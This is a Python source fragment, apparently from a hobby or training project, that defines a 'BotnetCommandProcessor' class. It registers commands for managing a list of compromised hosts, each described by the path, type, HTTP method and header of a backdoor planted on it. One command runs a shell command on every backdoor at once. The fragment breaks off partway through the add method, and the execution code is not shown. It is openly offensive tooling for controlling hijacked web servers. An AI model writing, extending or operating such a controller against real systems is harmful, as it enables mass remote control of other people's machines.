| 11 | Inherits from the CommandProcessor class. |
| 12 | """ |
| 13 | class BotnetCommandProcessor(CommandProcessor): |
| 14 | def __init__(self, classes): |
| 15 | self.exploitClasses = classes |
| 16 | self.targets = [] |
| 17 | super().__init__() |
| 18 | self.commands["add"] = { |
| 19 | "method": self.__add, |
| 20 | "description": "Add a target to the list of targets.", |
| 21 | "usage": ("add name host path type method header\n" |
| 22 | " name: the name of the target.\n" |
| 23 | " host: the hostname of the target.\n" |
| 24 | " path: the path of the backdoor on the target.\n" |
| 25 | " type: the type of backdoor on the target.\n" |
| 26 | " method: the HTTP method for the backdoor.\n" |
| 27 | " header: the HTTP header to communicate over.") |
| 28 | } |
| 29 | self.commands["list"] = { |
| 30 | "method": self.__list, |
| 31 | "description": "List all the targets.", |
| 32 | "usage": "list" |
| 33 | } |
| 34 | self.commands["remove"] = { |
| 35 | "method": self.__remove, |
| 36 | "description": "Remove a target from the botnet.", |
| 37 | "usage": ("remove names ...\n" |
| 38 | " names: a space seperated list of the names of the" |
| 39 | " targets to be removed.") |
| 40 | } |
| 41 | self.commands["load"] = { |
| 42 | "method": self.__load, |
| 43 | "description": "Load targets from file.", |
| 44 | "usage": ("load path\n" |
| 45 | " path: the path to the a JSON file containing the " |
| 46 | "targets, relative to the path this script is ran.") |
| 47 | } |
| 48 | self.commands["export"] = { |
| 49 | "method": self.__export, |
| 50 | "description": "Export a timestamped file with all the targets.", |
| 51 | "usage": "export\n" |
| 52 | } |
| 53 | self.commands["run"] = { |
| 54 | "method": self.__run, |
| 55 | "description": ("Run a command on all of the backdoors. You ran" |
| 56 | "each command on each exploit individually"), |
| 57 | "usage": ("run command" |
| 58 | " command: the command to be ran.") |
| 59 | } |
| 60 | |
| 61 | """ |
| 62 | @brief Add a target to the list of targets. |
| 63 | @throw CommandException if host is malformatted. |
| 64 | """ |
| 65 | def __add(self, options: str): |
| 66 | if options.count(" ") != 5: |
| 67 | raise CommandException("Incorrect usage. " |
| 68 | "Run 'help add' for usage.") |
| 69 | name, host, path, target_type, method, header = options.split(" ") |
| 70 | if name == "*": |